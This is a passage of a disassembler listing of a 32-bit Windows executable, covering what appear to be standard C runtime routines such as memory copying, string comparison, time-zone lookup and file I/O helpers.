		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D3E0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D3E0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D3DE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D41A
		call	dword ptr [ebx+esi*4+8]


loc_41D3DE:				; CODE XREF: sub_41D386+44j
		jmp	short loc_41D3A3
; ---------------------------------------------------------------------------


loc_41D3E0:				; CODE XREF: sub_41D386+2Aj
					; sub_41D386+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D386	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3EE	proc near		; CODE XREF: sub_422A52+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D364
		jnz	short locret_41D410
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D410
		mov	eax, 1

locret_41D410:				; CODE XREF: sub_41D3EE+10j
					; sub_41D3EE+1Bj
		retn
sub_41D3EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D411	proc near		; CODE XREF: sub_422D10+1Ep
					; sub_422D10+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43CF9C
		jmp	short loc_41D424
sub_41D411	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D41A	proc near		; CODE XREF: sub_41D386+4Fp
					; sub_423D9C+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43CF9C
		mov	ecx, [ebp+8]


loc_41D424:				; CODE XREF: sub_41D411+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D41A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41D434	proc near		; CODE XREF: sub_40CEE3+5p
					; sub_40D082+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D434	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D453	proc near		; CODE XREF: sub_40D515+22p
					; .packed:00426DD5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B881
		pop	ecx
		retn
sub_41D453	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D460	proc near		; CODE XREF: sub_40D582+3Ap
					; sub_41E6A2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D480
		cmp	edi, eax
		jb	loc_41D5F8


loc_41D480:				; CODE XREF: sub_41D460+16j
		test	edi, 3
		jnz	short loc_41D49C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D4BC
		rep movsd
		jmp	off_41D5A8[edx*4]
; ---------------------------------------------------------------------------


loc_41D49C:				; CODE XREF: sub_41D460+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D4B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D4BC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D4B4:				; CODE XREF: sub_41D460+46j
		jmp	dword ptr loc_41D5B8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D4BC:				; CODE XREF: sub_41D460+31j
					; sub_41D460+8Ej ...
		jmp	off_41D53C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D4D0
		dd offset loc_41D4FC
		dd offset loc_41D520
; ---------------------------------------------------------------------------


loc_41D4D0:				; DATA XREF: sub_41D460+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D4BC
		rep movsd
		jmp	off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D4FC:				; DATA XREF: sub_41D460+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D4BC
		rep movsd
		jmp	off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D520:				; DATA XREF: sub_41D460+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D4BC
		rep movsd
		jmp	off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D53C	dd offset loc_41D59F	; DATA XREF: sub_41D460:loc_41D4BCr
		dd offset loc_41D58C
		dd offset loc_41D584
		dd offset loc_41D57C
		dd offset loc_41D574
		dd offset loc_41D56C
		dd offset loc_41D564
		dd offset loc_41D55C
; ---------------------------------------------------------------------------


loc_41D55C:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D564:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D56C:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D574:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D57C:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D584:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D58C:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D59F:				; CODE XREF: sub_41D460:loc_41D4BCj
					; DATA XREF: sub_41D460:off_41D53Co
		jmp	off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D5A8	dd offset loc_41D5B8	; DATA XREF: sub_41D460+35r
					; sub_41D460+92r ...
		dd offset loc_41D5C0
		dd offset loc_41D5CC
		dd offset loc_41D5E0
; ---------------------------------------------------------------------------


loc_41D5B8:				; CODE XREF: sub_41D460+35j
					; sub_41D460+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D5C0:				; CODE XREF: sub_41D460+35j
					; sub_41D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D5CC:				; CODE XREF: sub_41D460+35j
					; sub_41D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D5E0:				; CODE XREF: sub_41D460+35j
					; sub_41D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D5F8:				; CODE XREF: sub_41D460+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D62C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D620
		std
		rep movsd
		cld
		jmp	off_41D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D620:				; CODE XREF: sub_41D460+1B1j
					; sub_41D460+208j ...
		neg	ecx
		jmp	off_41D6F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D62C:				; CODE XREF: sub_41D460+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D644
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D644+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D644:				; CODE XREF: sub_41D460+1D6j
					; DATA XREF: sub_41D460+1DDr
		jmp	off_41D740[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D658
		dd offset loc_41D678
		dd offset loc_41D6A0
; ---------------------------------------------------------------------------


loc_41D658:				; DATA XREF: sub_41D460+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D620
		std
		rep movsd
		cld
		jmp	off_41D740[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D678:				; DATA XREF: sub_41D460+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D620
		std
		rep movsd
		cld
		jmp	off_41D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D6A0:				; DATA XREF: sub_41D460+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D620
		std
		rep movsd
		cld
		jmp	off_41D740[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6F4
		dd offset loc_41D6FC
		dd offset loc_41D704
		dd offset loc_41D70C
		dd offset loc_41D714
		dd offset loc_41D71C
		dd offset loc_41D724
off_41D6F0	dd offset loc_41D737	; DATA XREF: sub_41D460+1C2r
; ---------------------------------------------------------------------------


loc_41D6F4:				; DATA XREF: sub_41D460+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D6FC:				; DATA XREF: sub_41D460+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D704:				; DATA XREF: sub_41D460+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D70C:				; DATA XREF: sub_41D460+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D714:				; DATA XREF: sub_41D460+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D71C:				; DATA XREF: sub_41D460+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D724:				; DATA XREF: sub_41D460+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D737:				; CODE XREF: sub_41D460+1C2j
					; DATA XREF: sub_41D460:off_41D6F0o
		jmp	off_41D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D740	dd offset loc_41D750	; DATA XREF: sub_41D460+1B7r
					; sub_41D460:loc_41D644r ...
		dd offset loc_41D758
		dd offset loc_41D768
		dd offset loc_41D77C
; ---------------------------------------------------------------------------


loc_41D750:				; CODE XREF: sub_41D460+1B7j
					; sub_41D460:loc_41D644j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D758:				; CODE XREF: sub_41D460+1B7j
					; sub_41D460:loc_41D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D768:				; CODE XREF: sub_41D460+1B7j
					; sub_41D460:loc_41D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D77C:				; CODE XREF: sub_41D460+1B7j
					; sub_41D460:loc_41D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D460	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D795	proc near		; CODE XREF: sub_40D5E9+34p
					; sub_40D5E9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BCB7
		pop	ecx
		pop	ecx
		retn
sub_41D795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7A3	proc near		; CODE XREF: sub_41D810+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DF6DC
		call	sub_422E08
		mov	edx, dword_4DF6DC
		pop	ecx
		mov	ecx, dword_4DF6D8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D802
		push	edx
		call	sub_422E08
		add	eax, 10h
		push	eax
		push	dword_4DF6DC
		call	sub_41B9D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7E5
		retn
; ---------------------------------------------------------------------------


loc_41D7E5:				; CODE XREF: sub_41D7A3+3Fj
		mov	ecx, dword_4DF6D8
		sub	ecx, dword_4DF6DC
		mov	dword_4DF6DC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DF6D8, ecx


loc_41D802:				; CODE XREF: sub_41D7A3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DF6D8, 4
		retn
sub_41D7A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D810	proc near		; CODE XREF: sub_40D6D6+1Ap
					; sub_426FDE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D7A3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D810	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D822	proc near		; DATA XREF: .packed:0042A024o
		push	80h
		call	sub_41BCA5
		test	eax, eax
		pop	ecx
		mov	dword_4DF6DC, eax
		jnz	short loc_41D843
		push	18h
		call	sub_41E229
		mov	eax, dword_4DF6DC
		pop	ecx


loc_41D843:				; CODE XREF: sub_41D822+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DF6DC
		mov	dword_4DF6D8, eax
		retn
sub_41D822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D851	proc near		; CODE XREF: sub_40D86F+1A3p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_428130	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4281A8	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DE09A
		jnz	short loc_41D8B6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DE098
		jnz	short loc_41D8B6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DE096
		jnz	short loc_41D8B6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DE092
		jnz	short loc_41D8B6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DE090
		jnz	short loc_41D8B6
		mov	eax, dword_4DE088
		jmp	short loc_41D8FB
; ---------------------------------------------------------------------------


loc_41D8B6:				; CODE XREF: sub_41D851+28j
					; sub_41D851+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4281A4	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D8E3
		cmp	eax, 2
		jnz	short loc_41D8DF
		cmp	[ebp+var_32], 0
		jz	short loc_41D8DF
		cmp	[ebp+var_24], 0
		jz	short loc_41D8DF
		push	1
		pop	eax
		jmp	short loc_41D8E6
; ---------------------------------------------------------------------------


loc_41D8DF:				; CODE XREF: sub_41D851+7Aj
					; sub_41D851+81j ...
		xor	eax, eax
		jmp	short loc_41D8E6
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D851+75j
		or	eax, 0FFFFFFFFh


loc_41D8E6:				; CODE XREF: sub_41D851+8Cj
					; sub_41D851+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DE090
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DE088, eax
		pop	esi


loc_41D8FB:				; CODE XREF: sub_41D851+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422E69
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D92B
		mov	[ecx], eax

locret_41D92B:				; CODE XREF: sub_41D851+D6j
		leave
		retn
sub_41D851	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D930	proc near		; CODE XREF: sub_40D86F+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DE0E4
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D983
		mov	al, 0FFh
		mov	edi, edi


loc_41D94C:				; CODE XREF: sub_41D930+28j
					; sub_41D930+48j
		or	al, al
		jz	short loc_41D97E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D94C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D94C
		sbb	al, al
		sbb	al, 0FFh


loc_41D97E:				; CODE XREF: sub_41D930+1Ej
		movsx	eax, al
		jmp	short loc_41D9B7
; ---------------------------------------------------------------------------


loc_41D983:				; CODE XREF: sub_41D930+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D98C:				; CODE XREF: sub_41D930+68j
					; sub_41D930+80j
		or	al, al
		jz	short loc_41D9B7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D98C
		push	eax
		push	ebx
		call	sub_41DF4C
		mov	ebx, eax
		add	esp, 4
		call	sub_41DF4C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D98C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D9B7:				; CODE XREF: sub_41D930+51j
					; sub_41D930+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D930	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9BC	proc near		; CODE XREF: sub_40E453+193p
					; sub_40E453+1DDp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_43F5D8
		push	edi
		push	esi
		call	sub_420C46
		mov	edi, eax
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41FE9F
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_420CD3
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9ED	proc near		; CODE XREF: sub_411DF4+26Ep
					; sub_411DF4+377p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DA69
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41DA0C
		cmp	edi, 1
		jz	short loc_41DA0C
		cmp	edi, 2
		jnz	short loc_41DA69


loc_41DA0C:				; CODE XREF: sub_41D9ED+13j
					; sub_41D9ED+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DA23
		push	esi
		call	sub_42307E
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41DA23:				; CODE XREF: sub_41D9ED+27j
		push	esi
		call	sub_41E38B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DA38
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DA4C
; ---------------------------------------------------------------------------


loc_41DA38:				; CODE XREF: sub_41D9ED+42j
		test	al, 1
		jz	short loc_41DA4C
		test	al, 8
		jz	short loc_41DA4C
		test	ah, 4
		jnz	short loc_41DA4C
		mov	dword ptr [esi+18h], 200h


loc_41DA4C:				; CODE XREF: sub_41D9ED+49j
					; sub_41D9ED+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_422FE4
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DA76
; ---------------------------------------------------------------------------


loc_41DA69:				; CODE XREF: sub_41D9ED+Bj
					; sub_41D9ED+1Dj
		mov	dword_4DE02C, 16h
		or	eax, 0FFFFFFFFh


loc_41DA76:				; CODE XREF: sub_41D9ED+7Aj
		pop	edi
		pop	esi
		retn
sub_41D9ED	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DA80	proc near		; CODE XREF: sub_413133+19Ep
					; sub_413E88+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DA99
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DA99:				; CODE XREF: sub_41DA80+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DA80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAB4	proc near		; CODE XREF: sub_41673A+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DAD8
		xor	eax, eax
		jmp	loc_41DBA5
; ---------------------------------------------------------------------------


loc_41DAD8:				; CODE XREF: sub_41DAB4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DAEB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DAF2
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DAB4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DAF2:				; CODE XREF: sub_41DAB4+35j
					; sub_41DAB4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DB26
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DB26
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DB0C
		mov	edi, eax


loc_41DB0C:				; CODE XREF: sub_41DAB4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	near ptr sub_41CAE0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DB6C
; ---------------------------------------------------------------------------


loc_41DB26:				; CODE XREF: sub_41DAB4+47j
					; sub_41DAB4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DB71
		test	ecx, ecx
		jz	short loc_41DB3A
		push	esi
		call	sub_41E38B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DBB3


loc_41DB3A:				; CODE XREF: sub_41DAB4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DB4D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DB4F
; ---------------------------------------------------------------------------


loc_41DB4D:				; CODE XREF: sub_41DAB4+8Aj
		mov	edi, ebx


loc_41DB4F:				; CODE XREF: sub_41DAB4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4231D6
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DBAA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DBAA


loc_41DB6C:				; CODE XREF: sub_41DAB4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DB9A
; ---------------------------------------------------------------------------


loc_41DB71:				; CODE XREF: sub_41DAB4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FD8A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DBB3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DB9A
		mov	[ebp+arg_C], 1


loc_41DB9A:				; CODE XREF: sub_41DAB4+BBj
					; sub_41DAB4+DDj
		test	ebx, ebx
		jnz	loc_41DAF2
		mov	eax, [ebp+arg_8]


loc_41DBA5:				; CODE XREF: sub_41DAB4+1Fj
					; sub_41DAB4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DBAA:				; CODE XREF: sub_41DAB4+ADj
					; sub_41DAB4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DBB5
; ---------------------------------------------------------------------------


loc_41DBB3:				; CODE XREF: sub_41DAB4+84j
					; sub_41DAB4+CFj
		mov	eax, edi


loc_41DBB5:				; CODE XREF: sub_41DAB4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DBA5
sub_41DAB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBBE	proc near		; CODE XREF: sub_416E71+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_428098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DBDE
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		call	sub_420BDF
		pop	ecx


loc_41DBDA:				; CODE XREF: sub_41DBBE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DBDE:				; CODE XREF: sub_41DBBE+Dj
		test	al, 1
		jz	short loc_41DBFF
		test	[esp+arg_4], 2
		jz	short loc_41DBFF
		mov	dword_4DE02C, 0Dh
		mov	dword_4DE030, 5
		jmp	short loc_41DBDA
; ---------------------------------------------------------------------------


loc_41DBFF:				; CODE XREF: sub_41DBBE+22j
					; sub_41DBBE+29j
		xor	eax, eax
		retn
sub_41DBBE	endp

; ---------------------------------------------------------------------------
		align 10h

